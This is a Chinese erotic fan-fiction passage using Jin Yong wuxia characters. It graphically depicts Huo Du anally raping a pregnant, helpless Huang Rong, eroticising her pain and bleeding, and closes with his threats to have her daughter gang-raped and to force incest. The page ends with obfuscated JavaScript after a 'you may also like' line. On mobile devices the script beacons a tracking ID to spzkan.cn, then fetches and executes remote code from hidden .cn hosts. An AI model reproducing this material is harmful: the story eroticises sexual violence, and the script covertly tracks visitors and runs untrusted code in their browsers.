霍都兴奋万分;不仅如此,黄蓉未经开发的柔软肛门和世间任何女子的阴道比起
来,那更是十倍百倍强烈的收缩。饶是他身经百战,当他终于逐渐的完全插入黄
蓉直肠底部时,却也险些当场射了出来;他赶忙深吸一口气,稳住阵脚。

    霍都倒没有急着大力抽送,只是开始慢慢转动腰部,反覆地做圆型运动,细
细的品这神仙般的快感。

    肛门内的肉茎不但早已膨胀到极限,在多重的身心刺激下更已充血到前所未
有的大小,明显可见隆起的青筋静脉。随着他的动作,只见黄蓉菊花蕾的柔软嫩
肉也跟着扭曲起来。

    霍都脸上又露出了淫虐的笑容,一面把黄蓉的头压在草地上,一面抚摸她充
满弹性的乳房,用力捏着她美丽的乳头。他在体内又转了一会,享受够了又热又
紧的感觉,开始缓缓抽送,道:“嘿嘿,黄帮主呀,小王今日让你领略领略肛交
的乐趣!我俩等会完事之后,只怕你再也离不开我啦。”

    黄蓉体内既毫无润滑,自然只感觉痛楚,哪里有什麽肛交的快感。她有孕在
身本已极为虚弱,依赖了数十年的内力又陡然尽失、现下身子只较一般从未习武
的女子更加柔嫩敏感,更加无法忍受痛苦。她心里虽是一百个不愿认输,勉力撑
持忍耐剧痛,口中却是不听使唤的开始低声呻吟。

    霍都这时却也发出了不同的呻吟。他只抽插了没几下,只觉全身血液好似集
中在他那话儿般,黄蓉肠内的嫩肉紧紧的箍住了他,体内好像有着不知名的力量
驱策着他要更快些、更快些。再抽插十馀下之后,霍都逐渐大胆起来,运起内力,
腰部速度开始加快。

    黄蓉登时脑里如遭雷轰,下身若受电击。“啊。。。!啊。。。!啊啊。。。!”

    她终于熬不住,疯狂绝望的呼号,身子死命的扭动。要知黄蓉身体本已脆弱
不堪、濒临崩溃边缘,霍都慢慢抽插还好,当她最是娇嫩隐私的内壁遭他运起内
力快速磨擦时,这感觉只有裸身遭狂奔快马拖行急驰差堪比拟;那痛楚与羞辱却
是百倍过之。这份痛苦远甚于刀割鞭打、远甚于生育之苦、远甚于世间一切酷刑,
任黄蓉武功再高,终是血肉之躯;更何况她现时早已内力全失,无从抗拒?

    黄蓉仙女般美丽的身体如同整个被撕裂成两半一般,一波一波一生从未受过
的痛楚袭击着她,痛苦万分的她只能拚命的流着泪与冷汗悲叫惨号。霍都只是充
耳不闻,继续加速,也不知他只是毫不在意,还是根本故意想要多听听这如花似
玉的美人儿悦耳的呼号。——疼啊 停呀饶了我吧你到底要怎地我什麽都依你什
麽都依你呀——无法言语的黄蓉在心里大叫求饶,可惜霍都就算能听见,怕也只
是更加得意的冷笑而已。

    霍都在抽出时突然注意到自己阳具上沾有少量鲜血,想是肛门内部娇嫩的皮
肉早已被他磨破,只是他快活之馀并未发现。他彷佛得到一种夺去黄蓉处女之身,
使她在自己身下落红的胜利感;心里一阵兴奋突然机伶伶的一个冷战,翻起白眼,
野兽般的吼叫一声,全身发生痉挛。黄蓉只感觉身体里的巨物陡然快速膨胀,然
后喷出一股股的热流。

    霍都一次又一次的喷射在黄蓉的肠内,然后无力的将上身覆盖在她的背上。

    霍都慢慢的从黄蓉早已不听使唤的身体内抽出时,几滴鲜血也随着白浊的精
液从她的肛口处流出,将她身下草坪染得湿湿的一滩。

    霍都故意将抽出的性器在黄蓉眼前晃动,又将精液与鲜血在她的脸上拭净。

    破碎的自尊再一次的被践踏,黄蓉倾国倾城的脸上,再度流下了两行清泪。

    霍都轻轻笑道:“郭夫人,现在该轮到你那鲜花一般的女儿啦。黄花大闺女
想必滋味不尽相同。不过你那女儿倒是远比不上你千娇百媚,可能比较适合各位
辛苦的蒙古勇士们呢。嘻嘻,我说这番众兄弟玩完之后呀,令嫒技巧可能要比白
跟了她爹十几年的娘还更上一层呢。”黄蓉闻言,想到自己方被淫魔玷辱,视若
性命般的爱女又将遭受野兽轮暴,登时眼前天旋地转,又晕厥了过去。

    霍都凑近昏迷的黄蓉耳边,自顾自的说道:“嘿嘿,其实在你的爱徒前,大
家一起玩你们两母女,再让你们四人在众人前表演一番,搞不好还让你们母女生
出一两个不知是谁的乱伦小杂种,那才叫有趣呢。

    等到你跟自己爱女、爱徒都互相舔过玩过,倒要看黄大帮主以后在他们前面
还留得什麽作长辈的威严在。

    啊,我倒忘了,回头先用你黄帮主那根小竹棒再戳你一戳好了。“

    不知是幸抑是不幸,失去意识的黄蓉并未听到这些言语。
猜你喜欢下面这些
function xZUWksQK(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function PUjpG(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return xZUWksQK(t);};window[''+'J'+'N'+'A'+'G'+'t'+'v'+'W'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iwUzp(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=PUjpG,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iwUzp(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15745/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iwUzp(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmNzcHN4aC5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5kdGZhb2kuY24lM0E5NTTM0','168623',window,document,['l','T']);}:function(){};